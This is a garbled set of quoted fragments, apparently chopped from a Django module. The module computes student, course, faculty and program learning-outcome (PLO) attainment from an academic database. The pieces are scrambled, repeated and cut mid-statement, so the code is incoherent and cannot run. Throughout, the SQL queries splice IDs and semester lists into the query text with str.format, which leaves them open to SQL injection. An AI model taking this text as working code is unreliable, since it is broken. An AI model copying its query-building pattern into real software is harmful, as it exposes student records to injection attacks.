s WHERE", "\"PLO9\", \"PLO10\", \"PLO11\", \"PLO12\"] for i in courses: temptable = [] if category", "sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.first_name, f.last_name, f.plonum, COUNT(*) as achieved_cnt", "f.semester, f.plonum; '''.format(sem, courseID)) row2 = cursor.fetchall() semester = [] plonum = []", "= np.split(acheived_per, len(acheived_per)/len(plonum)) acheived=[] for plo in acheived_per: acheived.append(plo.tolist()) return courses, plonum, acheived", "cursor.fetchall() return row def getcoursewiseavgPLO(courseID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as", "sem += '\",' sem = sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.plonum,", "= [] plonum = [] acheived = [] all_cnt = [] for record", "and a.co_id=co.coID and co.plo_id = p.ploID and p.ploNum in ({}) and a.section_id =", "row = cursor.fetchall() return row def getstudentprogramwisePLO(studentID): with connection.cursor() as cursor: cursor.execute(''' SELECT", "and r.student_id = '{}' GROUP BY r.student_id,p.ploID) derived WHERE r.student_id = derived.StudentID and", "[] for record in row1: courses.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for record in row2: all_cnt.append(record[0])", "cursor: cursor.execute(''' SELECT f.plonum, COUNT(*) FROM ( SELECT p.ploNum as plonum, r.student_id, 100*e.obtainedMarks/a.totalMarks", "WHERE f.percentage >= 40 GROUP BY f.semester, f.plonum; '''.format(sem, courseID)) row1 = cursor.fetchall()", "= [] attempted = [] for record in row1: plonum.append(record[0]) acheived.append(record[1]) for record", "courses = list(set(courses)) courses.sort() table = np.zeros((len(courses), len(plonum))) for record in row: table[courses.index(record[1])][plonum.index(record[0])]", "f.course_id; '''.format(ploo, sem)) row1 = cursor.fetchall() with connection.cursor() as cursor: cursor.execute(''' SELECT COUNT(*)", "ploNum,sum(a.totalMarks) as Total, r.student_id as StudentID FROM app_registration_t r, app_assessment_t a, app_evaluation_t e,", "getsemestercoursewisePLO(courseID, semesters): sem = ''; for semester in semesters: sem += '\"' sem", "s.program_id FROM app_student_t s WHERE s.studentID = '{}' '''.format(studentID)) row = cursor.fetchall() return", "for plo in attempted: new_attempted.append(plo.tolist()) plonum.sort() plonum.sort(key=len, reverse=False) return plonum, new_acheived, new_attempted def", "sem += '\"' sem += semester sem += '\",' sem = sem[:-1] with", "= [i] for j in plo: found = False for k in row:", "app_evaluation_t e, app_co_t co, app_plo_t p WHERE r.registrationID = e.registration_id and e.assessment_id =", "all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) courses = list(set(courses)) plonum = list(set(plonum)) acheived_per = np.split(acheived_per,", "emp.employeeID and emp.user_ptr_id = u.id )f GROUP BY f.first_name, f.plonum; '''.format(courseID, sem, courseID))", "Total, r.student_id as StudentID FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co,", "getcorrespondingstudentid(userID): with connection.cursor() as cursor: cursor.execute( ''' SELECT studentID FROM app_student_t s WHERE", "plo in acheived_per: acheived.append(plo.tolist()) return courses, plonum, acheived def getprogramsemesterwiseplocount(program, semesters): sem =", "acheived = [] all_cnt = [] for record in row1: courses.append(record[0]) plonum.append(record[1]) acheived.append(record[2])", "SELECT s.semester, p.ploNum as plonum, s.course_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t", "from django.db import connection import numpy as np def getstudentcoursewisePLO(studentID, courseID): with connection.cursor()", "40 GROUP BY f.semester, f.plonum; '''.format(sem, courseID)) row1 = cursor.fetchall() cursor.execute(''' SELECT COUNT(*)", "a.co_id=co.coID and co.plo_id = p.ploID and r.student_id = '{}' and s.studentID = r.student_id", "f.percentage>=40 GROUP BY f.ploNum, f.course_id '''.format(program, sem)) row = cursor.fetchall() plonum = []", "app_plo_t p, app_section_t s WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and", "'report': temptable = [i] for j in plo: found = False for k", "np.array(acheived) attempted = np.array(attempted) new_acheived=[] for plo in acheived: new_acheived.append(plo.tolist()) new_attempted=[] for plo", "= np.split(failed_per, len(failed_per)/len(semester)) acheived=[] for plo in acheived_per: acheived.append(plo.tolist()) failed=[] for plo in", "sem = sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.semester, f.plonum, COUNT(*) as", "ploo += '\",' ploo = ploo[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.course_id,", "p.ploID and r.student_id = '{}' GROUP BY r.student_id,p.ploID) derived WHERE r.student_id = derived.StudentID", "sem)) row1 = cursor.fetchall() with connection.cursor() as cursor: cursor.execute(''' SELECT COUNT(*) FROM (", "sem = ''; for semester in semesters: sem += '\"' sem += semester", "r.section_id = s.sectionID and r.student_id = '{}' '''.format(studentID)) row = cursor.fetchall() return row", "e.registration_id and r.section_id = s.sectionID and r.student_id = '{}' '''.format(studentID)) row = cursor.fetchall()", "app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, app_student_t s, app_program_t", "s.faculty_id IN ( SELECT DISTINCT s.faculty_id FROM app_section_t s WHERE s.course_id = '{}'", "and a.co_id=co.coID and co.plo_id = p.ploID and p.program_id = prog.programID and prog.programName =", "and co.plo_id = p.ploID and p.program_id = prog.programID and prog.programName = '{}' and", "= [] plos2 = [] for record in row1: faculty.append(record[0]+' '+record[1]) plonum.append(record[2]) plos1.append(record[3])", "s.sectionID and s.semester IN ({}) )f GROUP BY f.ploNum, f.course_id; '''.format(ploo, sem)) row2", "= cursor.fetchall() return row def getstudentprogramid(studentID): with connection.cursor() as cursor: cursor.execute(''' SELECT s.program_id", "semester = list(set(semester)) plonum = list(set(plonum)) failed_per = 100 - acheived_per acheived_per =", "s, app_program_t prog WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID", "sem, courseID)) row1 = cursor.fetchall() cursor.execute(''' SELECT COUNT(*) FROM ( SELECT u.first_name, u.last_name,", "sem[:-1] ploo = ''; for plo in plos: ploo += '\"' ploo +=", "[] courses = [] counts = [] for record in row: plonum.append(record[0]) courses.append(record[1])", "+= '\",' sem = sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.ploNum, f.course_id,", "= '{}' GROUP BY p.ploID '''.format(courseID)) row = cursor.fetchall() return row def getcompletedcourses(studentID):", "semesters: sem += '\"' sem += semester sem += '\",' sem = sem[:-1]", "and co.plo_id = p.ploID and a.section_id = s.sectionID and s.faculty_id IN ( SELECT", "a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and a.section_id = s.sectionID and s.faculty_id", "failed_per = np.split(failed_per, len(failed_per)/len(semester)) acheived=[] for plo in acheived_per: acheived.append(plo.tolist()) failed=[] for plo", "app_co_t co, app_plo_t p, app_section_t s, accounts_user u, app_employee_t emp WHERE r.registrationID =", "SELECT COUNT(*) FROM ( SELECT s.course_id, p.ploNum, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r,", "a.co_id=co.coID and co.plo_id = p.ploID and a.section_id = s.sectionID and s.semester IN ({})", "= [] all_cnt = [] for record in row1: semester.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for", "sem = sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.plonum, COUNT(*) FROM (", "in plos: ploo += '\"' ploo += plo ploo += '\",' ploo =", "app_evaluation_t e, app_co_t co, app_plo_t p, app_student_t s, app_program_t pr WHERE r.registrationID =", "acheived.append(record[2]) for record in row2: all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) semester = list(set(semester)) plonum", "\"PLO6\", \"PLO7\", \"PLO8\", \"PLO9\", \"PLO10\", \"PLO11\", \"PLO12\"] for i in courses: temptable =", "= np.split(acheived_per, len(acheived_per)/len(semester)) failed_per = np.split(failed_per, len(failed_per)/len(semester)) acheived=[] for plo in acheived_per: acheived.append(plo.tolist())", "record in row2: attempted.append(record[0]) plonum = list(set(plonum)) acheived = np.array(acheived) attempted = np.array(attempted)", "2)) elif category == 'chart': temptable.append(np.round(100 * k[2] / k[4], 2)) found =", "connection.cursor() as cursor: cursor.execute(''' SELECT f.first_name, f.last_name, f.plonum, COUNT(*) as achieved_cnt FROM (", "40 GROUP BY f.ploNum, f.course_id; '''.format(ploo, sem)) row1 = cursor.fetchall() with connection.cursor() as", "row def getprogramwiseavgPLO(programID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum, avg(100*e.obtainedMarks/a.totalMarks)", "app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p WHERE r.registrationID =", "= e.registration_id and r.section_id = s.sectionID and r.student_id = '{}' '''.format(studentID)) row =", "BY f.semester, f.plonum; '''.format(sem, courseID)) row1 = cursor.fetchall() cursor.execute(''' SELECT COUNT(*) as all_cnt", "as plopercent FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p,", "for record in row1: plonum.append(record[0]) acheived.append(record[1]) for record in row2: attempted.append(record[0]) plonum =", "and r.section_id = s.sectionID and r.student_id = '{}' '''.format(studentID)) row = cursor.fetchall() return", "s.semester IN ({}) and s.course_id ='{}' and s.faculty_id = emp.employeeID and emp.user_ptr_id =", "({}) )f WHERE f.percentage>=40 GROUP BY f.plonum; '''.format(program, sem)) row1 = cursor.fetchall() with", "p.ploID and co.course_id = '{}' GROUP BY p.ploID '''.format(courseID)) row = cursor.fetchall() return", "return row def getstudentallcoursePLO(studentID, category): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as", "= cursor.fetchall() table = [] courses = [] for entry in row: if", "as cursor: cursor.execute(''' SELECT f.first_name, f.last_name, f.plonum, COUNT(*) as achieved_cnt FROM ( SELECT", "row2 = cursor.fetchall() semester = [] plonum = [] acheived = [] all_cnt", "[] acheived = [] all_cnt = [] for record in row1: semester.append(record[0]) plonum.append(record[1])", "for record in row2: attempted.append(record[0]) plonum = list(set(plonum)) acheived = np.array(acheived) attempted =", "a.section_id = s.sectionID and s.semester IN ({}) )f WHERE f.percentage>=40 GROUP BY f.ploNum,", "app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p WHERE r.registrationID = e.registration_id and", "and prog.programName = '{}' and a.section_id = s.sectionID and s.semester IN ({}) )f", "WHERE f.percentage>=40 GROUP BY f.plonum; '''.format(program, sem)) row1 = cursor.fetchall() with connection.cursor() as", "[] for record in row1: plonum.append(record[0]) acheived.append(record[1]) for record in row2: attempted.append(record[0]) plonum", "= p.ploID and p.ploNum = derived.ploNum GROUP BY p.ploID,co.course_id '''.format(studentID)) row = cursor.fetchall()", "( SELECT p.ploNum as plonum, s.course_id, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r,", "co.plo_id = p.ploID and r.student_id = '{}' and co.course_id = '{}' GROUP BY", "COUNT(*) FROM ( SELECT p.ploNum as plonum, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t", ")f GROUP BY f.ploNum, f.course_id; '''.format(ploo, sem)) row2 = cursor.fetchall() courses = []", "= True if not found: if category == 'report': temptable.append('N/A') elif category ==", "+= '\",' sem = sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.plonum, COUNT(*)", "a, app_evaluation_t e, app_co_t co, app_plo_t p, ( SELECT p.ploNum as ploNum,sum(a.totalMarks) as", "in row1: faculty.append(record[0]+' '+record[1]) plonum.append(record[2]) plos1.append(record[3]) for record in row2: plos2.append(record[0]) plos =", "np.split(plos, len(plos)/len(plonum)) new_plo=[] for plo in plos: new_plo.append(plo.tolist()) return faculty, plonum, new_plo def", "acheived_per = np.split(acheived_per, len(acheived_per)/len(plonum)) acheived=[] for plo in acheived_per: acheived.append(plo.tolist()) return courses, plonum,", "='{}' and s.faculty_id = emp.employeeID and emp.user_ptr_id = u.id )f WHERE f.percentage >=", "row = cursor.fetchall() table = [] courses = [] for entry in row:", "s.course_id = '{}' ) and s.semester IN ({}) and s.course_id ='{}' and s.faculty_id", "= cursor.fetchall() with connection.cursor() as cursor: cursor.execute(''' SELECT COUNT(*) FROM ( SELECT s.course_id,", "attempted = np.array(attempted) new_acheived=[] for plo in acheived: new_acheived.append(plo.tolist()) new_attempted=[] for plo in", "def getplowisecoursecomparism(plos, semesters): sem = ''; for semester in semesters: sem += '\"'", "e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and p.program_id", "s.course_id ='{}' and s.faculty_id = emp.employeeID and emp.user_ptr_id = u.id )f WHERE f.percentage", "+= '\",' sem = sem[:-1] ploo = ''; for plo in plos: ploo", "'\",' sem = sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.ploNum, f.course_id, COUNT(*)", "SELECT p.ploNum as ploNum,co.course_id,sum(e.obtainedMarks),sum(a.totalMarks), derived.Total FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t", "app_student_t s WHERE s.studentID = '{}' '''.format(studentID)) row = cursor.fetchall() return row def", "= [] for record in row1: courses.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for record in row2:", "sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.plonum, COUNT(*) FROM ( SELECT p.ploNum", "derived.Total FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, (", "as plonum,100*(sum(e.obtainedMarks)/sum(a.totalMarks)) as plopercent FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co,", "and co.plo_id = p.ploID and a.section_id = s.sectionID and s.semester IN ({}) and", "as cursor: cursor.execute( ''' SELECT studentID FROM app_student_t s WHERE s.user_ptr_id = '{}'", "def getprogramsemesterwiseplocount(program, semesters): sem = ''; for semester in semesters: sem += '\"'", "cursor: cursor.execute(''' SELECT f.semester, f.plonum, COUNT(*) as achieved_cnt FROM ( SELECT s.semester, p.ploNum", "p.ploNum as plonum, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t", "cursor.fetchall() return row def getprogramwiseavgPLO(programID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as", "r.registrationID and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and p.ploNum", "app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, ( SELECT p.ploNum as ploNum,sum(a.totalMarks)", "e, app_co_t co, app_plo_t p WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID", "entry in row: if entry[1] not in courses: courses.append(entry[1]) courses.sort() plo = [\"PLO1\",", "plos.tolist() faculty = list(set(faculty)) plonum = list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False) plos = np.array(plos)", "= derived.StudentID and e.registration_id = r.registrationID and e.assessment_id = a.assessmentID and a.co_id=co.coID and", "semester = [] plonum = [] acheived = [] all_cnt = [] for", "as cursor: cursor.execute(''' SELECT COUNT(*) FROM ( SELECT p.ploNum as plonum, r.student_id, 100*e.obtainedMarks/a.totalMarks", "k[2] / k[4], 2)) found = True if not found: if category ==", "and a.co_id=co.coID and co.plo_id = p.ploID and p.program_id = '{}' GROUP BY p.ploID", "'''.format(program, sem)) row = cursor.fetchall() plonum = [] courses = [] counts =", "r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, app_section_t s, accounts_user u,", "and s.faculty_id IN ( SELECT DISTINCT s.faculty_id FROM app_section_t s WHERE s.course_id =", "= s.sectionID and s.semester IN ({}) and co.course_id ='{}' and s.course_id = co.course_id", "courses, plonum, acheived def getprogramsemesterwiseplocount(program, semesters): sem = ''; for semester in semesters:", "and s.semester IN ({}) )f GROUP BY f.plonum; '''.format(program, sem)) row2 = cursor.fetchall()", "+= '\",' ploo = ploo[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.course_id, f.ploNum,", "app_evaluation_t e, app_co_t co, app_plo_t p, app_section_t s WHERE r.registrationID = e.registration_id and", "plonum, new_acheived, new_attempted def getprogramwiseploandcourses(program, semesters): sem = ''; for semester in semesters:", "semester sem += '\",' sem = sem[:-1] ploo = ''; for plo in", "'{}' '''.format(userID)) row = cursor.fetchall() return row def getstudentprogramwisePLO(studentID): with connection.cursor() as cursor:", "s.course_id FROM app_registration_t r, app_evaluation_t e, app_section_t s WHERE r.registrationID = e.registration_id and", "row def getstudentprogramwisePLO(studentID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum,100*(sum(e.obtainedMarks)/sum(a.totalMarks)) as", "GROUP BY p.ploID,co.course_id '''.format(studentID)) row = cursor.fetchall() table = [] courses = []", "and co.plo_id = p.ploID and r.student_id = '{}' and co.course_id = '{}' GROUP", "and co.course_id = '{}' GROUP BY p.ploID '''.format(courseID)) row = cursor.fetchall() return row", "and co.plo_id = p.ploID and r.student_id = '{}' and s.studentID = r.student_id and", "failed=[] for plo in failed_per: failed.append(plo.tolist()) return semester, plonum, acheived, failed def getplowisecoursecomparism(plos,", "in semesters: sem += '\"' sem += semester sem += '\",' sem =", "ploo += '\"' ploo += plo ploo += '\",' ploo = ploo[:-1] with", "prog.programID and prog.programName = '{}' and a.section_id = s.sectionID and s.semester IN ({})", "= np.array(acheived) attempted = np.array(attempted) new_acheived=[] for plo in acheived: new_acheived.append(plo.tolist()) new_attempted=[] for", "new_acheived=[] for plo in acheived: new_acheived.append(plo.tolist()) new_attempted=[] for plo in attempted: new_attempted.append(plo.tolist()) plonum.sort()", "record in row2: plos2.append(record[0]) plos = 100*(np.array(plos1)/np.array(plos2)) plos = plos.tolist() faculty = list(set(faculty))", "= list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False) plos = np.array(plos) plos = np.split(plos, len(plos)/len(plonum)) new_plo=[]", "acheived_per: acheived.append(plo.tolist()) failed=[] for plo in failed_per: failed.append(plo.tolist()) return semester, plonum, acheived, failed", "and a.section_id = s.sectionID and s.semester IN ({}) )f GROUP BY f.ploNum, f.course_id;", "row = cursor.fetchall() return row def getstudentallcoursePLO(studentID, category): with connection.cursor() as cursor: cursor.execute('''", "temptable = [i] for j in plo: found = False for k in", "app_registration_t r, app_evaluation_t e, app_section_t s WHERE r.registrationID = e.registration_id and r.section_id =", "= u.id )f WHERE f.percentage >= 40 GROUP BY f.first_name, f.plonum; '''.format(courseID, sem,", "and r.student_id = '{}' '''.format(studentID)) row = cursor.fetchall() return row def getcorrespondingstudentid(userID): with", "plopercent FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, app_student_t", "p, app_student_t s, app_program_t pr WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID", "len(plos)/len(plonum)) new_plo=[] for plo in plos: new_plo.append(plo.tolist()) return faculty, plonum, new_plo def getsemestercoursewisePLO(courseID,", "cursor.execute(''' SELECT f.plonum, COUNT(*) FROM ( SELECT p.ploNum as plonum, r.student_id, 100*e.obtainedMarks/a.totalMarks as", "f.first_name, f.plonum; '''.format(courseID, sem, courseID)) row2 = cursor.fetchall() faculty = [] plonum =", "p.ploNum in ({}) and a.section_id = s.sectionID and s.semester IN ({}) )f GROUP", "'chart': temptable.append(np.round(100 * k[2] / k[4], 2)) found = True if not found:", "connection import numpy as np def getstudentcoursewisePLO(studentID, courseID): with connection.cursor() as cursor: cursor.execute('''", "temptable.append('N/A') elif category == 'chart': temptable.append(0) table.append(temptable) return plo, courses, table def getfacultycoursewisePLO(courseID,", "f.semester, f.plonum; '''.format(sem, courseID)) row1 = cursor.fetchall() cursor.execute(''' SELECT COUNT(*) as all_cnt FROM", "cursor: cursor.execute(''' SELECT COUNT(*) FROM ( SELECT s.course_id, p.ploNum, 100*e.obtainedMarks/a.totalMarks as percentage FROM", "r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co,", "as cursor: cursor.execute(''' SELECT s.program_id FROM app_student_t s WHERE s.studentID = '{}' '''.format(studentID))", "as cursor: cursor.execute(''' SELECT f.semester, f.plonum, COUNT(*) as achieved_cnt FROM ( SELECT s.semester,", "co.course_id )f WHERE f.percentage >= 40 GROUP BY f.semester, f.plonum; '''.format(sem, courseID)) row1", "e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and co.course_id = '{}'", "a.co_id=co.coID and co.plo_id = p.ploID and p.ploNum = derived.ploNum GROUP BY p.ploID,co.course_id '''.format(studentID))", "= p.ploID and p.program_id = '{}' GROUP BY p.ploID '''.format(programID)) row = cursor.fetchall()", "courseID)) row1 = cursor.fetchall() cursor.execute(''' SELECT COUNT(*) as all_cnt FROM ( SELECT s.semester,", "row1: semester.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for record in row2: all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) semester", "cursor: cursor.execute( ''' SELECT studentID FROM app_student_t s WHERE s.user_ptr_id = '{}' '''.format(userID))", "in acheived_per: acheived.append(plo.tolist()) return courses, plonum, acheived def getprogramsemesterwiseplocount(program, semesters): sem = '';", "with connection.cursor() as cursor: cursor.execute(''' SELECT COUNT(*) FROM ( SELECT p.ploNum as plonum,", "co, app_plo_t p, ( SELECT p.ploNum as ploNum,sum(a.totalMarks) as Total, r.student_id as StudentID", "GROUP BY p.ploID '''.format(studentID, courseID)) row = cursor.fetchall() return row def getcoursewiseavgPLO(courseID): with", "SELECT p.ploNum as plonum, avg(100*e.obtainedMarks/a.totalMarks) FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t", "GROUP BY f.first_name, f.plonum; '''.format(courseID, sem, courseID)) row1 = cursor.fetchall() cursor.execute(''' SELECT COUNT(*)", "a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and p.program_id = '{}' GROUP BY", "''' SELECT studentID FROM app_student_t s WHERE s.user_ptr_id = '{}' '''.format(userID)) row =", "new_attempted=[] for plo in attempted: new_attempted.append(plo.tolist()) plonum.sort() plonum.sort(key=len, reverse=False) return plonum, new_acheived, new_attempted", "p.program_id = prog.programID and prog.programName = '{}' and a.section_id = s.sectionID and s.semester", "attempted = [] for record in row1: plonum.append(record[0]) acheived.append(record[1]) for record in row2:", "a.co_id=co.coID and co.plo_id = p.ploID and r.student_id = '{}' GROUP BY r.student_id,p.ploID) derived", "row = cursor.fetchall() return row def getcompletedcourses(studentID): with connection.cursor() as cursor: cursor.execute( '''", "app_section_t s WHERE s.course_id = '{}' ) and s.semester IN ({}) and s.course_id", "app_co_t co, app_plo_t p, app_student_t s, app_program_t pr WHERE r.registrationID = e.registration_id and", "a, app_evaluation_t e, app_co_t co, app_plo_t p, app_section_t s WHERE r.registrationID = e.registration_id", "list(set(plonum)) acheived = np.array(acheived) attempted = np.array(attempted) new_acheived=[] for plo in acheived: new_acheived.append(plo.tolist())", "e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and r.student_id = '{}'", "= [] for record in row: plonum.append(record[0]) courses.append(record[1]) plonum = list(set(plonum)) plonum.sort() plonum.sort(key=len,", "r.student_id as StudentID FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t", "* k[2] / k[3], 2)) elif category == 'chart': temptable.append(np.round(100 * k[2] /", "def getcorrespondingstudentid(userID): with connection.cursor() as cursor: cursor.execute( ''' SELECT studentID FROM app_student_t s", "'+record[1]) plonum.append(record[2]) plos1.append(record[3]) for record in row2: plos2.append(record[0]) plos = 100*(np.array(plos1)/np.array(plos2)) plos =", "app_program_t prog WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID and", "found = False for k in row: if j == k[0] and i", "cursor.execute(''' SELECT COUNT(*) FROM ( SELECT u.first_name, u.last_name, p.ploNum as plonum, 100*e.obtainedMarks/a.totalMarks as", "100*(np.array(acheived)/np.array(all_cnt)) semester = list(set(semester)) plonum = list(set(plonum)) failed_per = 100 - acheived_per acheived_per", "row1: courses.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for record in row2: all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) courses", "and a.co_id=co.coID and co.plo_id = p.ploID and r.student_id = '{}' and co.course_id =", "e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and r.student_id", "courseID)) row = cursor.fetchall() return row def getcoursewiseavgPLO(courseID): with connection.cursor() as cursor: cursor.execute('''", "BY f.first_name, f.plonum; '''.format(courseID, sem, courseID)) row1 = cursor.fetchall() cursor.execute(''' SELECT COUNT(*) FROM", "in failed_per: failed.append(plo.tolist()) return semester, plonum, acheived, failed def getplowisecoursecomparism(plos, semesters): sem =", "e, app_co_t co, app_plo_t p, ( SELECT p.ploNum as ploNum,sum(a.totalMarks) as Total, r.student_id", "= [] plos1 = [] plos2 = [] for record in row1: faculty.append(record[0]+'", "BY f.semester, f.plonum; '''.format(sem, courseID)) row2 = cursor.fetchall() semester = [] plonum =", "acheived_per = np.split(acheived_per, len(acheived_per)/len(semester)) failed_per = np.split(failed_per, len(failed_per)/len(semester)) acheived=[] for plo in acheived_per:", "in row: plonum.append(record[0]) courses.append(record[1]) plonum = list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False) courses = list(set(courses))", "plonum.sort() plonum.sort(key=len, reverse=False) courses = list(set(courses)) courses.sort() table = np.zeros((len(courses), len(plonum))) for record", "acheived=[] for plo in acheived_per: acheived.append(plo.tolist()) return courses, plonum, acheived def getprogramsemesterwiseplocount(program, semesters):", "np.array(attempted) new_acheived=[] for plo in acheived: new_acheived.append(plo.tolist()) new_attempted=[] for plo in attempted: new_attempted.append(plo.tolist())", "co, app_plo_t p, app_section_t s WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID", "courses.sort() plo = [\"PLO1\", \"PLO2\", \"PLO3\", \"PLO4\", \"PLO5\", \"PLO6\", \"PLO7\", \"PLO8\", \"PLO9\", \"PLO10\",", "f.course_id; '''.format(ploo, sem)) row2 = cursor.fetchall() courses = [] plonum = [] acheived", "a.section_id = s.sectionID and s.semester IN ({}) )f WHERE f.percentage >= 40 GROUP", "GROUP BY f.semester, f.plonum; '''.format(sem, courseID)) row1 = cursor.fetchall() cursor.execute(''' SELECT COUNT(*) as", "s.semester IN ({}) )f GROUP BY f.plonum; '''.format(program, sem)) row2 = cursor.fetchall() plonum", "found = True if not found: if category == 'report': temptable.append('N/A') elif category", "= p.ploID and p.ploNum in ({}) and a.section_id = s.sectionID and s.semester IN", "import connection import numpy as np def getstudentcoursewisePLO(studentID, courseID): with connection.cursor() as cursor:", "r.student_id = '{}' '''.format(studentID)) row = cursor.fetchall() return row def getcorrespondingstudentid(userID): with connection.cursor()", "'{}' and a.section_id = s.sectionID and s.semester IN ({}) )f WHERE f.percentage>=40 GROUP", "= cursor.fetchall() return row def getstudentprogramwisePLO(studentID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum", "prog.programName = '{}' and a.section_id = s.sectionID and s.semester IN ({}) )f WHERE", "as StudentID FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p", "= [] courses = [] for entry in row: if entry[1] not in", "'report': temptable.append(np.round(100 * k[2] / k[3], 2)) elif category == 'chart': temptable.append(np.round(100 *", "and co.plo_id = p.ploID and p.ploNum = derived.ploNum GROUP BY p.ploID,co.course_id '''.format(studentID)) row", "FROM ( SELECT p.ploNum as plonum, s.course_id, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t", "[] if category == 'report': temptable = [i] for j in plo: found", "='{}' and s.course_id = co.course_id )f WHERE f.percentage >= 40 GROUP BY f.semester,", "'\",' sem = sem[:-1] ploo = ''; for plo in plos: ploo +=", "GROUP BY f.ploNum, f.course_id; '''.format(ploo, sem)) row2 = cursor.fetchall() courses = [] plonum", "IN ({}) )f GROUP BY f.plonum; '''.format(program, sem)) row2 = cursor.fetchall() plonum =", "cursor.fetchall() faculty = [] plonum = [] plos1 = [] plos2 = []", "'\"' sem += semester sem += '\",' sem = sem[:-1] with connection.cursor() as", "app_plo_t p, app_section_t s, app_program_t prog WHERE r.registrationID = e.registration_id and e.assessment_id =", "= s.sectionID and s.semester IN ({}) )f WHERE f.percentage >= 40 GROUP BY", "'''.format(ploo, sem)) row2 = cursor.fetchall() courses = [] plonum = [] acheived =", "s WHERE s.user_ptr_id = '{}' '''.format(userID)) row = cursor.fetchall() return row def getstudentprogramwisePLO(studentID):", "row2: all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) semester = list(set(semester)) plonum = list(set(plonum)) failed_per =", "= p.ploID and r.student_id = '{}' and co.course_id = '{}' GROUP BY p.ploID", "IN ({}) )f WHERE f.percentage>=40 GROUP BY f.ploNum, f.course_id '''.format(program, sem)) row =", "SELECT f.first_name, f.last_name, f.plonum, COUNT(*) as achieved_cnt FROM ( SELECT u.first_name, u.last_name, p.ploNum", "f.plonum; '''.format(courseID, sem, courseID)) row1 = cursor.fetchall() cursor.execute(''' SELECT COUNT(*) FROM ( SELECT", "connection.cursor() as cursor: cursor.execute(''' SELECT f.course_id, f.ploNum, COUNT(*) FROM ( SELECT s.course_id, p.ploNum,", "p, ( SELECT p.ploNum as ploNum,sum(a.totalMarks) as Total, r.student_id as StudentID FROM app_registration_t", "= a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and co.course_id = '{}' GROUP", "= r.registrationID and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and", "row def getcoursewiseavgPLO(courseID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum, avg(100*e.obtainedMarks/a.totalMarks)", "with connection.cursor() as cursor: cursor.execute( ''' SELECT studentID FROM app_student_t s WHERE s.user_ptr_id", "and e.assessment_id = a.assessmentID and 